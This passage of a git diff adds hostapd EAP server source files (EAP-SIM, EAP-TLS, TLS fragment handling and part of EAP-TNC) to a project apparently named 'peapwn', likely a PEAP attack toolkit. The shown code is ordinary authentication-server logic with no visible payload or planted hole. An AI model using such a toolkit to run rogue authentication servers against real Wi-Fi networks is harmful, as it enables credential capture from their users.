return; + } + + if (eap_sim_parse_attr(pos, end, &attr, 0, 0)) { + wpa_printf(MSG_DEBUG, "EAP-SIM: Failed to parse attributes"); + if (subtype != EAP_SIM_SUBTYPE_CLIENT_ERROR && + (data->state == START || data->state == CHALLENGE || + data->state == REAUTH)) { + data->notification = + EAP_SIM_GENERAL_FAILURE_BEFORE_AUTH; + eap_sim_state(data, NOTIFICATION); + return; + } + eap_sim_state(data, FAILURE); + return; + } + + if (subtype == EAP_SIM_SUBTYPE_CLIENT_ERROR) { + eap_sim_process_client_error(sm, data, respData, &attr); + return; + } + + switch (data->state) { + case START: + eap_sim_process_start(sm, data, respData, &attr); + break; + case CHALLENGE: + eap_sim_process_challenge(sm, data, respData, &attr); + break; + case REAUTH: + eap_sim_process_reauth(sm, data, respData, &attr); + break; + case NOTIFICATION: + eap_sim_process_notification(sm, data, respData, &attr); + break; + default: + wpa_printf(MSG_DEBUG, "EAP-SIM: Unknown state %d in " + "process", data->state); + break; + } +} + + +static Boolean eap_sim_isDone(struct eap_sm *sm, void *priv) +{ + struct eap_sim_data *data = priv; + return data->state == SUCCESS || data->state == FAILURE; +} + + +static u8 * eap_sim_getKey(struct eap_sm *sm, void *priv, size_t *len) +{ + struct eap_sim_data *data = priv; + u8 *key; + + if (data->state != SUCCESS) + return NULL; + + key = os_malloc(EAP_SIM_KEYING_DATA_LEN); + if (key == NULL) + return NULL; + os_memcpy(key, data->msk, EAP_SIM_KEYING_DATA_LEN); + *len = EAP_SIM_KEYING_DATA_LEN; + return key; +} + + +static u8 * eap_sim_get_emsk(struct eap_sm *sm, void *priv, size_t *len) +{ + struct eap_sim_data *data = priv; + u8 *key; + + if (data->state != SUCCESS) + return NULL; + + key = os_malloc(EAP_EMSK_LEN); + if (key == NULL) + return NULL; + os_memcpy(key, data->emsk, EAP_EMSK_LEN); + *len = EAP_EMSK_LEN; + return key; +} + + +static Boolean eap_sim_isSuccess(struct eap_sm *sm, void *priv) +{ + struct eap_sim_data *data = priv; + return data->state == SUCCESS; +} + + +int eap_server_sim_register(void) +{ + struct eap_method *eap; + int ret; + + eap = eap_server_method_alloc(EAP_SERVER_METHOD_INTERFACE_VERSION, + EAP_VENDOR_IETF, EAP_TYPE_SIM, "SIM"); + if (eap == NULL) + return -1; + + eap->init = eap_sim_init; + eap->reset = eap_sim_reset; + eap->buildReq = eap_sim_buildReq; + eap->check = eap_sim_check; + eap->process = eap_sim_process; + eap->isDone = eap_sim_isDone; + eap->getKey = eap_sim_getKey; + eap->isSuccess = eap_sim_isSuccess; + eap->get_emsk = eap_sim_get_emsk; + + ret = eap_server_method_register(eap); + if (ret) + eap_server_method_free(eap); + return ret; +} diff --git a/peapwn/mods/hostap/src/eap_server/eap_server_tls.c b/peapwn/mods/hostap/src/eap_server/eap_server_tls.c new file mode 100644 index 000000000..447f47cfa --- /dev/null +++ b/peapwn/mods/hostap/src/eap_server/eap_server_tls.c @@ -0,0 +1,342 @@ +/* + * hostapd / EAP-TLS (RFC 2716) + * Copyright (c) 2004-2008, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "eap_i.h" +#include "eap_tls_common.h" +#include "crypto/tls.h" + + +static void eap_tls_reset(struct eap_sm *sm, void *priv); + + +struct eap_tls_data { + struct eap_ssl_data ssl; + enum { START, CONTINUE, SUCCESS, FAILURE } state; + int established; + u8 eap_type; +}; + + +static const char * eap_tls_state_txt(int state) +{ + switch (state) { + case START: + return "START"; + case CONTINUE: + return "CONTINUE"; + case SUCCESS: + return "SUCCESS"; + case FAILURE: + return "FAILURE"; + default: + return "Unknown?!"; + } +} + + +static void eap_tls_state(struct eap_tls_data *data, int state) +{ + wpa_printf(MSG_DEBUG, "EAP-TLS: %s -> %s", + eap_tls_state_txt(data->state), + eap_tls_state_txt(state)); + data->state = state; +} + + +static void * eap_tls_init(struct eap_sm *sm) +{ + struct eap_tls_data *data; + + data = os_zalloc(sizeof(*data)); + if (data == NULL) + return NULL; + data->state = START; + + if (eap_server_tls_ssl_init(sm, &data->ssl, 1)) { + wpa_printf(MSG_INFO, "EAP-TLS: Failed to initialize SSL."); + eap_tls_reset(sm, data); + return NULL; + } + + data->eap_type = EAP_TYPE_TLS; + + return data; +} + + +#ifdef EAP_SERVER_UNAUTH_TLS +static void * eap_unauth_tls_init(struct eap_sm *sm) +{ + struct eap_tls_data *data; + + data = os_zalloc(sizeof(*data)); + if (data == NULL) + return NULL; + data->state = START; + + if (eap_server_tls_ssl_init(sm, &data->ssl, 0)) { + wpa_printf(MSG_INFO, "EAP-TLS: Failed to initialize SSL."); + eap_tls_reset(sm, data); + return NULL; + } + + data->eap_type = EAP_UNAUTH_TLS_TYPE; + return data; +} +#endif /* EAP_SERVER_UNAUTH_TLS */ + + +static void eap_tls_reset(struct eap_sm *sm, void *priv) +{ + struct eap_tls_data *data = priv; + if (data == NULL) + return; + eap_server_tls_ssl_deinit(sm, &data->ssl); + os_free(data); +} + + +static struct wpabuf * eap_tls_build_start(struct eap_sm *sm, + struct eap_tls_data *data, u8 id) +{ + struct wpabuf *req; + + req = eap_tls_msg_alloc(data->eap_type, 1, EAP_CODE_REQUEST, id); + if (req == NULL) { + wpa_printf(MSG_ERROR, "EAP-TLS: Failed to allocate memory for " + "request"); + eap_tls_state(data, FAILURE); + return NULL; + } + + wpabuf_put_u8(req, EAP_TLS_FLAGS_START); + + eap_tls_state(data, CONTINUE); + + return req; +} + + +static struct wpabuf * eap_tls_buildReq(struct eap_sm *sm, void *priv, u8 id) +{ + struct eap_tls_data *data = priv; + struct wpabuf *res; + + if (data->ssl.state == FRAG_ACK) { + return eap_server_tls_build_ack(id, data->eap_type, 0); + } + + if (data->ssl.state == WAIT_FRAG_ACK) { + res = eap_server_tls_build_msg(&data->ssl, data->eap_type, 0, + id); + goto check_established; + } + + switch (data->state) { + case START: + return eap_tls_build_start(sm, data, id); + case CONTINUE: + if (tls_connection_established(sm->ssl_ctx, data->ssl.conn)) + data->established = 1; + break; + default: + wpa_printf(MSG_DEBUG, "EAP-TLS: %s - unexpected state %d", + __func__, data->state); + return NULL; + } + + res = eap_server_tls_build_msg(&data->ssl, data->eap_type, 0, id); + +check_established: + if (data->established && data->ssl.state != WAIT_FRAG_ACK) { + /* TLS handshake has been completed and there are no more + * fragments waiting to be sent out. */ + wpa_printf(MSG_DEBUG, "EAP-TLS: Done"); + eap_tls_state(data, SUCCESS); + } + + return res; +} + + +static Boolean eap_tls_check(struct eap_sm *sm, void *priv, + struct wpabuf *respData) +{ + struct eap_tls_data *data = priv; + const u8 *pos; + size_t len; + + if (data->eap_type == EAP_UNAUTH_TLS_TYPE) + pos = eap_hdr_validate(EAP_VENDOR_UNAUTH_TLS, + EAP_VENDOR_TYPE_UNAUTH_TLS, respData, + &len); + else + pos = eap_hdr_validate(EAP_VENDOR_IETF, data->eap_type, + respData, &len); + if (pos == NULL || len < 1) { + wpa_printf(MSG_INFO, "EAP-TLS: Invalid frame"); + return TRUE; + } + + return FALSE; +} + + +static void eap_tls_process_msg(struct eap_sm *sm, void *priv, + const struct wpabuf *respData) +{ + struct eap_tls_data *data = priv; + if (data->state == SUCCESS && wpabuf_len(data->ssl.tls_in) == 0) { + wpa_printf(MSG_DEBUG, "EAP-TLS: Client acknowledged final TLS " + "handshake message"); + return; + } + if (eap_server_tls_phase1(sm, &data->ssl) < 0) + eap_tls_state(data, FAILURE); +} + + +static void eap_tls_process(struct eap_sm *sm, void *priv, + struct wpabuf *respData) +{ + struct eap_tls_data *data = priv; + if (eap_server_tls_process(sm, &data->ssl, respData, data, + data->eap_type, NULL, eap_tls_process_msg) < + 0) + eap_tls_state(data, FAILURE); +} + + +static Boolean eap_tls_isDone(struct eap_sm *sm, void *priv) +{ + struct eap_tls_data *data = priv; + return data->state == SUCCESS || data->state == FAILURE; +} + + +static u8 * eap_tls_getKey(struct eap_sm *sm, void *priv, size_t *len) +{ + struct eap_tls_data *data = priv; + u8 *eapKeyData; + + if (data->state != SUCCESS) + return NULL; + + eapKeyData = eap_server_tls_derive_key(sm, &data->ssl, + "client EAP encryption", + EAP_TLS_KEY_LEN); + if (eapKeyData) { + *len = EAP_TLS_KEY_LEN; + wpa_hexdump(MSG_DEBUG, "EAP-TLS: Derived key", + eapKeyData, EAP_TLS_KEY_LEN); + } else { + wpa_printf(MSG_DEBUG, "EAP-TLS: Failed to derive key"); + } + + return eapKeyData; +} + + +static u8 * eap_tls_get_emsk(struct eap_sm *sm, void *priv, size_t *len) +{ + struct eap_tls_data *data = priv; + u8 *eapKeyData, *emsk; + + if (data->state != SUCCESS) + return NULL; + + eapKeyData = eap_server_tls_derive_key(sm, &data->ssl, + "client EAP encryption", + EAP_TLS_KEY_LEN + EAP_EMSK_LEN); + if (eapKeyData) { + emsk = os_malloc(EAP_EMSK_LEN); + if (emsk) + os_memcpy(emsk, eapKeyData + EAP_TLS_KEY_LEN, + EAP_EMSK_LEN); + os_free(eapKeyData); + } else + emsk = NULL; + + if (emsk) { + *len = EAP_EMSK_LEN; + wpa_hexdump(MSG_DEBUG, "EAP-TLS: Derived EMSK", + emsk, EAP_EMSK_LEN); + } else { + wpa_printf(MSG_DEBUG, "EAP-TLS: Failed to derive EMSK"); + } + + return emsk; +} + + +static Boolean eap_tls_isSuccess(struct eap_sm *sm, void *priv) +{ + struct eap_tls_data *data = priv; + return data->state == SUCCESS; +} + + +int eap_server_tls_register(void) +{ + struct eap_method *eap; + int ret; + + eap = eap_server_method_alloc(EAP_SERVER_METHOD_INTERFACE_VERSION, + EAP_VENDOR_IETF, EAP_TYPE_TLS, "TLS"); + if (eap == NULL) + return -1; + + eap->init = eap_tls_init; + eap->reset = eap_tls_reset; + eap->buildReq = eap_tls_buildReq; + eap->check = eap_tls_check; + eap->process = eap_tls_process; + eap->isDone = eap_tls_isDone; + eap->getKey = eap_tls_getKey; + eap->isSuccess = eap_tls_isSuccess; + eap->get_emsk = eap_tls_get_emsk; + + ret = eap_server_method_register(eap); + if (ret) + eap_server_method_free(eap); + return ret; +} + + +#ifdef EAP_SERVER_UNAUTH_TLS +int eap_server_unauth_tls_register(void) +{ + struct eap_method *eap; + int ret; + + eap = eap_server_method_alloc(EAP_SERVER_METHOD_INTERFACE_VERSION, + EAP_VENDOR_UNAUTH_TLS, + EAP_VENDOR_TYPE_UNAUTH_TLS, + "UNAUTH-TLS"); + if (eap == NULL) + return -1; + + eap->init = eap_unauth_tls_init; + eap->reset = eap_tls_reset; + eap->buildReq = eap_tls_buildReq; + eap->check = eap_tls_check; + eap->process = eap_tls_process; + eap->isDone = eap_tls_isDone; + eap->getKey = eap_tls_getKey; + eap->isSuccess = eap_tls_isSuccess; + eap->get_emsk = eap_tls_get_emsk; + + ret = eap_server_method_register(eap); + if (ret) + eap_server_method_free(eap); + return ret; +} +#endif /* EAP_SERVER_UNAUTH_TLS */ diff --git a/peapwn/mods/hostap/src/eap_server/eap_server_tls_common.c b/peapwn/mods/hostap/src/eap_server/eap_server_tls_common.c new file mode 100644 index 000000000..526e1bcc9 --- /dev/null +++ b/peapwn/mods/hostap/src/eap_server/eap_server_tls_common.c @@ -0,0 +1,430 @@ +/* + * EAP-TLS/PEAP/TTLS/FAST server common functions + * Copyright (c) 2004-2009, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "crypto/sha1.h" +#include "crypto/tls.h" +#include "eap_i.h" +#include "eap_tls_common.h" + + +static void eap_server_tls_free_in_buf(struct eap_ssl_data *data); + + +struct wpabuf * eap_tls_msg_alloc(EapType type, size_t payload_len, + u8 code, u8 identifier) +{ + if (type == EAP_UNAUTH_TLS_TYPE) + return eap_msg_alloc(EAP_VENDOR_UNAUTH_TLS, + EAP_VENDOR_TYPE_UNAUTH_TLS, payload_len, + code, identifier); + return eap_msg_alloc(EAP_VENDOR_IETF, type, payload_len, code, + identifier); +} + + +int eap_server_tls_ssl_init(struct eap_sm *sm, struct eap_ssl_data *data, + int verify_peer) +{ + if (sm->ssl_ctx == NULL) { + wpa_printf(MSG_ERROR, "TLS context not initialized - cannot use TLS-based EAP method"); + return -1; + } + + data->eap = sm; + data->phase2 = sm->init_phase2; + + data->conn = tls_connection_init(sm->ssl_ctx); + if (data->conn == NULL) { + wpa_printf(MSG_INFO, "SSL: Failed to initialize new TLS " + "connection"); + return -1; + } + + if (tls_connection_set_verify(sm->ssl_ctx, data->conn, verify_peer)) { + wpa_printf(MSG_INFO, "SSL: Failed to configure verification " + "of TLS peer certificate"); + tls_connection_deinit(sm->ssl_ctx, data->conn); + data->conn = NULL; + return -1; + } + + data->tls_out_limit = sm->fragment_size > 0 ? sm->fragment_size : 1398; + if (data->phase2) { + /* Limit the fragment size in the inner TLS authentication + * since the outer authentication with EAP-PEAP does not yet + * support fragmentation */ + if (data->tls_out_limit > 100) + data->tls_out_limit -= 100; + } + return 0; +} + + +void eap_server_tls_ssl_deinit(struct eap_sm *sm, struct eap_ssl_data *data) +{ + tls_connection_deinit(sm->ssl_ctx, data->conn); + eap_server_tls_free_in_buf(data); + wpabuf_free(data->tls_out); + data->tls_out = NULL; +} + + +u8 * eap_server_tls_derive_key(struct eap_sm *sm, struct eap_ssl_data *data, + char *label, size_t len) +{ + struct tls_keys keys; + u8 *rnd = NULL, *out; + + out = os_malloc(len); + if (out == NULL) + return NULL; + + if (tls_connection_prf(sm->ssl_ctx, data->conn, label, 0, out, len) == + 0) + return out; + + if (tls_connection_get_keys(sm->ssl_ctx, data->conn, &keys)) + goto fail; + + if (keys.client_random == NULL || keys.server_random == NULL || + keys.master_key == NULL) + goto fail; + + rnd = os_malloc(keys.client_random_len + keys.server_random_len); + if (rnd == NULL) + goto fail; + os_memcpy(rnd, keys.client_random, keys.client_random_len); + os_memcpy(rnd + keys.client_random_len, keys.server_random, + keys.server_random_len); + + if (tls_prf_sha1_md5(keys.master_key, keys.master_key_len, + label, rnd, keys.client_random_len + + keys.server_random_len, out, len)) + goto fail; + + os_free(rnd); + return out; + +fail: + os_free(out); + os_free(rnd); + return NULL; +} + + +struct wpabuf * eap_server_tls_build_msg(struct eap_ssl_data *data, + int eap_type, int version, u8 id) +{ + struct wpabuf *req; + u8 flags; + size_t send_len, plen; + + wpa_printf(MSG_DEBUG, "SSL: Generating Request"); + if (data->tls_out == NULL) { + wpa_printf(MSG_ERROR, "SSL: tls_out NULL in %s", __func__); + return NULL; + } + + flags = version; + send_len = wpabuf_len(data->tls_out) - data->tls_out_pos; + if (1 + send_len > data->tls_out_limit) { + send_len = data->tls_out_limit - 1; + flags |= EAP_TLS_FLAGS_MORE_FRAGMENTS; + if (data->tls_out_pos == 0) { + flags |= EAP_TLS_FLAGS_LENGTH_INCLUDED; + send_len -= 4; + } + } + + plen = 1 + send_len; + if (flags & EAP_TLS_FLAGS_LENGTH_INCLUDED) + plen += 4; + + req = eap_tls_msg_alloc(eap_type, plen, EAP_CODE_REQUEST, id); + if (req == NULL) + return NULL; + + wpabuf_put_u8(req, flags); /* Flags */ + if (flags & EAP_TLS_FLAGS_LENGTH_INCLUDED) + wpabuf_put_be32(req, wpabuf_len(data->tls_out)); + + wpabuf_put_data(req, wpabuf_head_u8(data->tls_out) + data->tls_out_pos, + send_len); + data->tls_out_pos += send_len; + + if (data->tls_out_pos == wpabuf_len(data->tls_out)) { + wpa_printf(MSG_DEBUG, "SSL: Sending out %lu bytes " + "(message sent completely)", + (unsigned long) send_len); + wpabuf_free(data->tls_out); + data->tls_out = NULL; + data->tls_out_pos = 0; + data->state = MSG; + } else { + wpa_printf(MSG_DEBUG, "SSL: Sending out %lu bytes " + "(%lu more to send)", (unsigned long) send_len, + (unsigned long) wpabuf_len(data->tls_out) - + data->tls_out_pos); + data->state = WAIT_FRAG_ACK; + } + + return req; +} + + +struct wpabuf * eap_server_tls_build_ack(u8 id, int eap_type, int version) +{ + struct wpabuf *req; + + req = eap_tls_msg_alloc(eap_type, 1, EAP_CODE_REQUEST, id); + if (req == NULL) + return NULL; + wpa_printf(MSG_DEBUG, "SSL: Building ACK"); + wpabuf_put_u8(req, version); /* Flags */ + return req; +} + + +static int eap_server_tls_process_cont(struct eap_ssl_data *data, + const u8 *buf, size_t len) +{ + /* Process continuation of a pending message */ + if (len > wpabuf_tailroom(data->tls_in)) { + wpa_printf(MSG_DEBUG, "SSL: Fragment overflow"); + return -1; + } + + wpabuf_put_data(data->tls_in, buf, len); + wpa_printf(MSG_DEBUG, "SSL: Received %lu bytes, waiting for %lu " + "bytes more", (unsigned long) len, + (unsigned long) wpabuf_tailroom(data->tls_in)); + + return 0; +} + + +static int eap_server_tls_process_fragment(struct eap_ssl_data *data, + u8 flags, u32 message_length, + const u8 *buf, size_t len) +{ + /* Process a fragment that is not the last one of the message */ + if (data->tls_in == NULL && !(flags & EAP_TLS_FLAGS_LENGTH_INCLUDED)) { + wpa_printf(MSG_DEBUG, "SSL: No Message Length field in a " + "fragmented packet"); + return -1; + } + + if (data->tls_in == NULL) { + /* First fragment of the message */ + + /* Limit length to avoid rogue peers from causing large + * memory allocations. */ + if (message_length > 65536) { + wpa_printf(MSG_INFO, "SSL: Too long TLS fragment (size" + " over 64 kB)"); + return -1; + } + + if (len > message_length) { + wpa_printf(MSG_INFO, "SSL: Too much data (%d bytes) in " + "first fragment of frame (TLS Message " + "Length %d bytes)", + (int) len, (int) message_length); + return -1; + } + + data->tls_in = wpabuf_alloc(message_length); + if (data->tls_in == NULL) { + wpa_printf(MSG_DEBUG, "SSL: No memory for message"); + return -1; + } + wpabuf_put_data(data->tls_in, buf, len); + wpa_printf(MSG_DEBUG, "SSL: Received %lu bytes in first " + "fragment, waiting for %lu bytes more", + (unsigned long) len, + (unsigned long) wpabuf_tailroom(data->tls_in)); + } + + return 0; +} + + +int eap_server_tls_phase1(struct eap_sm *sm, struct eap_ssl_data *data) +{ + if (data->tls_out) { + /* This should not happen.. */ + wpa_printf(MSG_INFO, "SSL: pending tls_out data when " + "processing new message"); + wpabuf_free(data->tls_out); + WPA_ASSERT(data->tls_out == NULL); + } + + data->tls_out = tls_connection_server_handshake(sm->ssl_ctx, + data->conn, + data->tls_in, NULL); + if (data->tls_out == NULL) { + wpa_printf(MSG_INFO, "SSL: TLS processing failed"); + return -1; + } + if (tls_connection_get_failed(sm->ssl_ctx, data->conn)) { + /* TLS processing has failed - return error */ + wpa_printf(MSG_DEBUG, "SSL: Failed - tls_out available to " + "report error"); + return -1; + } + + return 0; +} + + +static int eap_server_tls_reassemble(struct eap_ssl_data *data, u8 flags, + const u8 **pos, size_t *left) +{ + unsigned int tls_msg_len = 0; + const u8 *end = *pos + *left; + + if (flags & EAP_TLS_FLAGS_LENGTH_INCLUDED) { + if (*left < 4) { + wpa_printf(MSG_INFO, "SSL: Short frame with TLS " + "length"); + return -1; + } + tls_msg_len = WPA_GET_BE32(*pos); + wpa_printf(MSG_DEBUG, "SSL: TLS Message Length: %d", + tls_msg_len); + *pos += 4; + *left -= 4; + + if (*left > tls_msg_len) { + wpa_printf(MSG_INFO, "SSL: TLS Message Length (%d " + "bytes) smaller than this fragment (%d " + "bytes)", (int) tls_msg_len, (int) *left); + return -1; + } + } + + wpa_printf(MSG_DEBUG, "SSL: Received packet: Flags 0x%x " + "Message Length %u", flags, tls_msg_len); + + if (data->state == WAIT_FRAG_ACK) { + if (*left != 0) { + wpa_printf(MSG_DEBUG, "SSL: Unexpected payload in " + "WAIT_FRAG_ACK state"); + return -1; + } + wpa_printf(MSG_DEBUG, "SSL: Fragment acknowledged"); + return 1; + } + + if (data->tls_in && + eap_server_tls_process_cont(data, *pos, end - *pos) < 0) + return -1; + + if (flags & EAP_TLS_FLAGS_MORE_FRAGMENTS) { + if (eap_server_tls_process_fragment(data, flags, tls_msg_len, + *pos, end - *pos) < 0) + return -1; + + data->state = FRAG_ACK; + return 1; + } + + if (data->state == FRAG_ACK) { + wpa_printf(MSG_DEBUG, "SSL: All fragments received"); + data->state = MSG; + } + + if (data->tls_in == NULL) { + /* Wrap unfragmented messages as wpabuf without extra copy */ + wpabuf_set(&data->tmpbuf, *pos, end - *pos); + data->tls_in = &data->tmpbuf; + } + + return 0; +} + + +static void eap_server_tls_free_in_buf(struct eap_ssl_data *data) +{ + if (data->tls_in != &data->tmpbuf) + wpabuf_free(data->tls_in); + data->tls_in = NULL; +} + + +struct wpabuf * eap_server_tls_encrypt(struct eap_sm *sm, + struct eap_ssl_data *data, + const struct wpabuf *plain) +{ + struct wpabuf *buf; + + buf = tls_connection_encrypt(sm->ssl_ctx, data->conn, + plain); + if (buf == NULL) { + wpa_printf(MSG_INFO, "SSL: Failed to encrypt Phase 2 data"); + return NULL; + } + + return buf; +} + + +int eap_server_tls_process(struct eap_sm *sm, struct eap_ssl_data *data, + struct wpabuf *respData, void *priv, int eap_type, + int (*proc_version)(struct eap_sm *sm, void *priv, + int peer_version), + void (*proc_msg)(struct eap_sm *sm, void *priv, + const struct wpabuf *respData)) +{ + const u8 *pos; + u8 flags; + size_t left; + int ret, res = 0; + + if (eap_type == EAP_UNAUTH_TLS_TYPE) + pos = eap_hdr_validate(EAP_VENDOR_UNAUTH_TLS, + EAP_VENDOR_TYPE_UNAUTH_TLS, respData, + &left); + else + pos = eap_hdr_validate(EAP_VENDOR_IETF, eap_type, respData, + &left); + if (pos == NULL || left < 1) + return 0; /* Should not happen - frame already validated */ + flags = *pos++; + left--; + wpa_printf(MSG_DEBUG, "SSL: Received packet(len=%lu) - Flags 0x%02x", + (unsigned long) wpabuf_len(respData), flags); + + if (proc_version && + proc_version(sm, priv, flags & EAP_TLS_VERSION_MASK) < 0) + return -1; + + ret = eap_server_tls_reassemble(data, flags, &pos, &left); + if (ret < 0) { + res = -1; + goto done; + } else if (ret == 1) + return 0; + + if (proc_msg) + proc_msg(sm, priv, respData); + + if (tls_connection_get_write_alerts(sm->ssl_ctx, data->conn) > 1) { + wpa_printf(MSG_INFO, "SSL: Locally detected fatal error in " + "TLS processing"); + res = -1; + } + +done: + eap_server_tls_free_in_buf(data); + + return res; +} diff --git a/peapwn/mods/hostap/src/eap_server/eap_server_tnc.c b/peapwn/mods/hostap/src/eap_server/eap_server_tnc.c new file mode 100644 index 000000000..67a3dfa30 --- /dev/null +++ b/peapwn/mods/hostap/src/eap_server/eap_server_tnc.c @@ -0,0 +1,575 @@ +/* + * EAP server method: EAP-TNC (Trusted Network Connect) + * Copyright (c) 2007-2010, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "eap_i.h" +#include "tncs.h" + + +struct eap_tnc_data { + enum eap_tnc_state { + START, CONTINUE, RECOMMENDATION, FRAG_ACK, WAIT_FRAG_ACK, DONE, + FAIL + } state; + enum { ALLOW, ISOLATE, NO_ACCESS, NO_RECOMMENDATION } recommendation; + struct tncs_data *tncs; + struct wpabuf *in_buf; + struct wpabuf *out_buf; + size_t out_used; + size_t fragment_size; + unsigned int was_done:1; + unsigned int was_fail:1; +}; + + +/* EAP-TNC Flags */ +#define EAP_TNC_FLAGS_LENGTH_INCLUDED 0x80 +#define EAP_TNC_FLAGS_MORE_FRAGMENTS 0x40 +#define EAP_TNC_FLAGS_START 0x20 +#define EAP_TNC_VERSION_MASK 0x07 + +#define EAP_TNC_VERSION 1 + + +static const char * eap_tnc_state_txt(enum eap_tnc_state state) +{ + switch (state) { + case START: + return "START"; + case CONTINUE: + return "CONTINUE"; + case RECOMMENDATION: + return "RECOMMENDATION"; + case FRAG_ACK: + return "FRAG_ACK"; + case WAIT_FRAG_ACK: + return "WAIT_FRAG_ACK"; + case DONE: + return "DONE"; + case FAIL: + return "FAIL"; + } + return "??"; +} + + +static void eap_tnc_set_state(struct eap_tnc_data *data, + enum eap_tnc_state new_state) +{ + wpa_printf(MSG_DEBUG, "EAP-TNC: %s -> %s", + eap_tnc_state_txt(data->state), + eap_tnc_state_txt(new_state)); + data->state = new_state; +} + + +static void * eap_tnc_init(struct eap_sm *sm) +{ + struct eap_tnc_data *data; + + data = os_zalloc(sizeof(*data)); + if (data == NULL) + return NULL; + eap_tnc_set_state(data, START); + data->tncs = tncs_init(); + if (data->tncs == NULL) { + os_free(data); + return NULL; + } + + data->fragment_size = sm->fragment_size > 100 ? + sm->fragment_size - 98 : 1300; + + return data; +} + + +static void eap_tnc_reset(struct eap_sm *sm, void *priv) +{ + struct eap_tnc_data *data = priv; + wpabuf_free(data->in_buf); + wpabuf_free(data->out_buf); + tncs_deinit(data->tncs); + os_free(data); +} + + +static struct wpabuf * eap_tnc_build_start(struct eap_sm *sm, + struct eap_tnc_data *data, u8 id) +{ + struct wpabuf *req; + + req = eap_msg_alloc(EAP_VENDOR_IETF, EAP_TYPE_TNC, 1, EAP_CODE_REQUEST, + id); + if (req == NULL) { + wpa_printf(MSG_ERROR, "EAP-TNC: Failed to allocate memory for " + "request"); + eap_tnc_set_state(data, FAIL); + return NULL; + } + + wpabuf_put_u8(req, EAP_TNC_FLAGS_START | EAP_TNC_VERSION); + + eap_tnc_set_state(data, CONTINUE); + + return req; +} + + +static struct wpabuf * eap_tnc_build(struct eap_sm *sm, + struct eap_tnc_data *data) +{ + struct wpabuf *req; + u8 *rpos, *rpos1; + size_t rlen; + char *start_buf, *end_buf; + size_t start_len, end_len; + size_t imv_len; + + imv_len = tncs_total_send_len(data->tncs); + + start_buf = tncs_if_tnccs_start(data->tncs); + if (start_buf == NULL) + return NULL; + start_len = os_strlen(start_buf); + end_buf = tncs_if_tnccs_end(); + if (end_buf == NULL) { + os_free(start_buf); + return NULL; + } + end_len = os_strlen(end_buf); + + rlen = start_len + imv_len + end_len; + req = wpabuf_alloc(rlen); + if (req == NULL) { + os_free(start_buf); + os_free(end_buf); + return NULL; + } + + wpabuf_put_data(req, start_buf, start_len); + os_free(start_buf); + + rpos1 = wpabuf_put(req, 0); + rpos = tncs_copy_send_buf(data->tncs, rpos1); + wpabuf_put(req, rpos - rpos1); + + wpabuf_put_data(req, end_buf, end_len); + os_free(end_buf); + + wpa_hexdump_ascii(MSG_MSGDUMP, "EAP-TNC: Request", + wpabuf_head(req), wpabuf_len(req)); + + return req; +} + + +static struct wpabuf * eap_tnc_build_recommendation(struct eap_sm *sm, + struct eap_tnc_data *data) +{ + switch (data->recommendation) { + case ALLOW: + eap_tnc_set_state(data, DONE); + break; + case ISOLATE: + eap_tnc_set_state(data, FAIL); + /* TODO: support assignment to a different VLAN */ + break; + case NO_ACCESS: + eap_tnc_set_state(data, FAIL); + break; + case NO_RECOMMENDATION: + eap_tnc_set_state(data, DONE); + break; + default: + wpa_printf(MSG_DEBUG, "EAP-TNC: Unknown recommendation"); + return NULL; + } + + return eap_tnc_build(sm, data); +} + + +static struct wpabuf * eap_tnc_build_frag_ack(u8 id, u8 code) +{ + struct wpabuf *msg; + + msg = eap_msg_alloc(EAP_VENDOR_IETF, EAP_TYPE_TNC, 1, code, id); + if (msg == NULL) { + wpa_printf(MSG_ERROR, "EAP-TNC: Failed to allocate memory " + "for fragment ack"); + return NULL; + } + wpabuf_put_u8(msg, EAP_TNC_VERSION); /* Flags */ + + wpa_printf(MSG_DEBUG, "EAP-TNC: Send fragment ack"); + + return msg; +} + + +static struct wpabuf * eap_tnc_build_msg(struct eap_tnc_data *data, u8 id) +{ + struct wpabuf *req; + u8 flags; + size_t send_len, plen; + + wpa_printf(MSG_DEBUG, "EAP-TNC: Generating Request"); + + flags = EAP_TNC_VERSION; + send_len = wpabuf_len(data->out_buf) - data->out_used; + if (1 + send_len > data->fragment_size) { + send_len = data->fragment_size - 1; + flags |= EAP_TNC_FLAGS_MORE_FRAGMENTS; + if (data->out_used == 0) { + flags |= EAP_TNC_FLAGS_LENGTH_INCLUDED; + send_len -= 4; + } + } + + plen = 1 + send_len; + if (flags & EAP_TNC_FLAGS_LENGTH_INCLUDED) + plen += 4; + req = eap_msg_alloc(EAP_VENDOR_IETF, EAP_TYPE_TNC, plen, + EAP_CODE_REQUEST, id); + if (req == NULL) + return NULL; + + wpabuf_put_u8(req, flags); /* Flags */ + if (flags & EAP_TNC_FLAGS_LENGTH_INCLUDED) + wpabuf_put_be32(req, wpabuf_len(data->out_buf)); + + wpabuf_put_data(req, wpabuf_head_u8(data->out_buf) + data->out_used, + send_len); + data->out_used += send_len; + + if (data->out_used == wpabuf_len(data->out_buf)) { + wpa_printf(MSG_DEBUG, "EAP-TNC: Sending out %lu bytes " + "(message sent completely)", + (unsigned long) send_len); + wpabuf_free(data->out_buf); + data->out_buf = NULL; + data->out_used = 0; + if (data->was_fail) + eap_tnc_set_state(data, FAIL); + else if (data->was_done) + eap_tnc_set_state(data, DONE); + } else { + wpa_printf(MSG_DEBUG, "EAP-TNC: Sending out %lu bytes " + "(%lu more to send)", (unsigned long) send_len, + (unsigned long) wpabuf_len(data->out_buf) - + data->out_used); + if (data->state == FAIL) + data->was_fail = 1; + else if (data->state == DONE) + data->was_done = 1; + eap_tnc_set_state(data, WAIT_FRAG_ACK); + } + + return req; +} + + +static struct wpabuf * eap_tnc_buildReq(struct eap_sm *sm, void *priv, u8 id) +{ + struct eap_tnc_data *data = priv; + + switch (data->state) { + case START: + tncs_init_connection(data->tncs); + return eap_tnc_build_start(sm, data, id); + case CONTINUE: + if (data->out_buf == NULL) { + data->out_buf = eap_tnc_build(sm, data); + if (data->out_buf == NULL) { + wpa_printf(MSG_DEBUG, "EAP-TNC: Failed to " + "generate message"); + return NULL; + } + data->out_used = 0; + } + return eap_tnc_build_msg(data, id); + case RECOMMENDATION: + if (data->out_buf == NULL) { + data->out_buf = eap_tnc_build_recommendation(sm, data); + if (data->out_buf == NULL) { + 